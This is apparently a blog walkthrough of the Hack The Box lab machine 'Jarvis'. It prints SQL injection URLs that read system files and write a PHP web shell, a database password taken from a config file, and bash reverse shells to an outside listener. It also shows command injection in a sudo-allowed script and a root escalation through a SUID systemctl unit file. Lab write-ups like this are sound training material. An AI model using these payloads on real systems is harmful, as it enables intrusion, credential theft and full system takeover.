Jarvis - Hack The Box

Synopsis

Jarvis is a medium difficulty Linux box running a webserver, whicha has DoS and brute force protection enabled. A page is found to be vulnerable to SQL Injection, Which requires manual exploitation. This serivce allows the writing of a shell to the web root for the foothold. The www-data user is allowed to execute script as pepper user, and the script is vulnerable to command Injection. On further enumeration, systemctl is found to have SUID bit set, which is leveraged to gain a shell as root.

Skills Required

  • SQL Injection
  • Command Injection
  • Linux Enumeration

Skills Learned

  • File writes through SQL Injeciton
  • Exploiting systemctl GTFObin

Enumeration

Nmap

# Nmap 7.60 scan initiated Mon Mar 30 14:13:32 2020 as: nmap -sC -sV -v -p 22,80,14414,35263,52986,64999 -o full.nmap jarvis.htb
Nmap scan report for jarvis.htb (10.10.10.143)
Host is up (0.22s latency).

PORT      STATE  SERVICE       VERSION
22/tcp    open   ssh           OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (EdDSA)
80/tcp    open   http          Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
14414/tcp closed ca-web-update
35263/tcp closed unknown
52986/tcp closed unknown
64999/tcp open   http          Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see SSH and HTTP running on their default ports. Aditionally, there is a HTTP server running on port 64999.

Apache

Navigating to the webserver on port 80 we came across page titled Stark Hotel.

The page displays a vhost supersecurehote.htb. So I added it to my hosts file. Running gobuster on the server results in the following message.

So it clearly shows that its hard to perform any kind of Automated scanning on the server. Browsing to port 64999 we see the same message that we’re banned for 90 secs.

Walking through the application we see Room tab which taking us to /room-suites.php and Dining&Bar which taking us to /dining-bar.php.

Clicking on Book now! button opens up a new URL with a query parameter cod.

Let’s try to test the cod parameter for SQL Injection. Adding a quote and comment to the value result in an empty response.

However, on removing quote and retrying, the room image is returned. We can infer from this that the server expects an integer for the parameter, and it is SQL Injectable.

We can verify this by using true and false clause. For example

http://10.10.10.143/room.php?cod=1 and 1=1-- -

The above URL results in the true and true clause resulting in a true result overall and the room is returned. But if we use a true and fasle clause like the following one:

http://10.10.10.143/room.php?cod=1 and 1=2-- -

This results in a false value which fails to return the room.

SQL Injection

Now that we confirmed SQL Injection, let’s try to extract Information through a union based SQL Injecation. We can use ORDER BY keyword to find the number of columns

http://10.10.10.143/room.php?cod=1 ORDER BY 3

The above URL return room which means the table has either 3 columns or more. On Incrementing the value by 1 each time, we find that no room is return for value 8 which means that the table has 7 columns.

Now, we can use UNION based queries to find the injectable columns.

http://10.10.10.143/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7

We use a negative value or the value that doesn’t exist to prevent the room being selected over our values. Trying the above URL returns.

We see the values 5,2,3,4 in the output which can be used for injection. Le’ts check the database version we can use database() function or @@version in for microsoft/mysql DB. we can also see the user with whoam the database is running as using user().

    http://10.10.10.143/room.php?cod=-1 UNION SELECT 1,@@version,user(),4,5,6,7

The database is MariaDB and its version is 10.1.37-MariaDB-0+deb9u1 and we’re running as DBadmin user. Let’s check if we can read files using the load_files() function.

http://10.10.10.143/room.php?cod=-1 UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6,7

Let’s also check if we can write files to the server . We can inspect the apache configuration to identify the path of the webroot. Ideally, the apach2 configuration is located at /etc/apache2/sites-enabled/000-default.conf.

The path is configured with the default path /var/www/html. With help of this path we can read index.php, rooms.php. Looking at those php files they’re including connection.php which seems like responsible for making database connection. let’s look at that file.

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%201,load_file('/var/www/html/connection.php'),3,4,5,6,7

From connection.php file we can see the creds DBadmin:imissyou with which the database connection is performed. In MySQL, we can write files using the INTO OUTFILE keyword. Let’s try writing contenets of passwd to a file in the web root.

http://10.10.10.143/room.php?cod=-1 UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6,7 into outfile '/var/www/html/pwn.txt'

The above query writes the contents of /etc/passwd to a filen named pwn.txt on the web root. After requesting the URL and browsing to /pwn.txt, we see the contents of /etc/passwd.

FootHold

Next, can write a php webshell and write to a file on the server using the same above method.

http://10.10.10.143/room.php?cod=-1 UNION SELECT 1,'<?php system($_REQUEST["cmd"]); ?>',3,4,5,6,7 into outfile '/var/www/html/pwned.php'

After requesting the above URL, we can use cmd paramter to execute the commands on the server.

curl -X POST  http://10.10.10.143/pwned.php --data-urlencode cmd=whoami
1       www-data
        3       4       5       6       7

To gain a interactive reverse shell we can execute a bash reverse shell.

curl -X POST  http://10.10.10.143/pwned.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.40/9001 0>&1"'

And we got a reverse shell as www-data .

ncat -lvnp 9001

Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 1C9C 3DF3 B4E7 6771 9D7D F5D1 5782 9B06 1ACC D768
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:55158.
bash: cannot set terminal process group (599): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jarvis:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Looking at the sudo permissions for www-data, we can see that i can execute simpler.py as the user pepper.

www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

Looking at the script, we can see that it takes IP address on using the -p argument,and then uses the os.system() function to execute ping.

<SNIP>
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()

  <SNIP>

    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

For the script we can understand that few characters(&;-|) are blocke by the script, in order to prevent injecion. But the character $, ( and ) aren’t blocked. This will let us inject commands through bash command substitution. i.e $(cmd). Let’s check if its working using $(whoami).

www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(whoami)
ping: pepper: Temporary failure in name resolution

We see the command was substituted by the username pepper, and ping tried to resolve it as a hostname. This means that the command execution was successful. We can use this to execute a bash reverse shell as pepper user. Since some special char’s are blocked, we’ll write command to a script and execute it through injection.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.40/9001 0>&1"' > /tmp/shell.sh
chmod a+x /tmp/shell.sh
www-data@jarvis:/var/www/html$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP: $(/tmp/shell.sh)

And we got a reverse shell as pepper user.

ncat -lvnp 9001

Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DA5C E37E CD6F D519 72A6 99B6 AF8E 6D94 4873 3ABD
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:55160.

pepper@jarvis:~$ whoami && id
pepper
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)

Privilege Escalation

we could check for SUID binaries. we can look for SUID binaries using find / -perm -4000 2>/dev/null.

pepper@jarvis:~$ find / -perm -4000 -ls 2>/dev/null
  1310951     32 -rwsr-xr-x   1 root     root        30800 Aug 21  2018 /bin/fusermount
  1310809     44 -rwsr-xr-x   1 root     root        44304 Mar  7  2018 /bin/mount
  1310906     60 -rwsr-xr-x   1 root     root        61240 Nov 10  2016 /bin/ping
  1312201    172 -rwsr-x---   1 root     pepper     174520 Feb 17  2019 /bin/systemctl
  1310810     32 -rwsr-xr-x   1 root     root        31720 Mar  7  2018 /bin/umount
  1310807     40 -rwsr-xr-x   1 root     root        40536 May 17  2017 /bin/su
  1444734     40 -rwsr-xr-x   1 root     root        40312 May 17  2017 /usr/bin/newgrp
  1441873     60 -rwsr-xr-x   1 root     root        59680 May 17  2017 /usr/bin/passwd
  1441872     76 -rwsr-xr-x   1 root     root        75792 May 17  2017 /usr/bin/gpasswd
  1441870     40 -rwsr-xr-x   1 root     root        40504 May 17  2017 /usr/bin/chsh
  1453559    140 -rwsr-xr-x   1 root     root       140944 Jun  5  2017 /usr/bin/sudo
  1441869     52 -rwsr-xr-x   1 root     root        50040 May 17  2017 /usr/bin/chfn
  1574579     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
  1707587    432 -rwsr-xr-x   1 root     root       440728 Mar  1  2019 /usr/lib/openssh/ssh-keysign
  1578698     44 -rwsr-xr--   1 root     messagebus    42992 Mar  2  2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

From the above binaries we could see systemctl is a non standard one. So we can look for privilege escalation throught that.

The systemctl command is used to manage service on a system running systemd. Usually, the configuration files are located are /etc/system/systemd. However, as we’re not root, It’s not possible to write a file to this folder. Instead, we can use systemctl link command.

According to the manpage systemctl, the link command can be used to Include a configuration file that isn’t in the default search path. This will help us create a unit file at any location and link it, which will let us start the service.

Checking GTFObins, we see how this can be leveraged to execute commands.

cd /home/pepper
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /dev/shm/ouput"
[Insall]
WantedBy=multi-user.target' > pwn.service

systemctl link /home/pepper/pwn.service
systemctl start pwn.service

The command above create a file named pwn.service with service type oneshot. The oneshot service waits until the initial command has executed, before declaring the service active. The ExecStart parameter is used to specify the command which is to be executed on the start. Then the link command is used to link the service to systemd, and start command is used to execute the command.

pepper@jarvis:~$ systemctl link /home/pepper/pwn.service
pepper@jarvis:~$ systemctl start pwn
pepper@jarvis:~$ cat /dev/shm/ouput 
uid=0(root) gid=0(root) groups=0(root)

We can see it working now the ouptut of id command is seen in the /dev/shm/outpu, which confirms that its runs as root. we’ll point it to our shell.sh file location which contains bash -c "bash -i >& /dev/tcp/10.10.14.40/9001 0>&1".

cd /home/pepper
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "/dev/shm/shell.sh"
[Insall]
WantedBy=multi-user.target' > pwn.service

systemctl link /home/pepper/pwn.service
systemctl start pwn.service

After starating the service it executes the contents of shell.sh and we get a reverse shell as root.

ncat -lvnp 9001

Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:55162.
bash: cannot set terminal process group (1333): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/# hostname
jarvis

Thank you for taking your time for reading this blog!.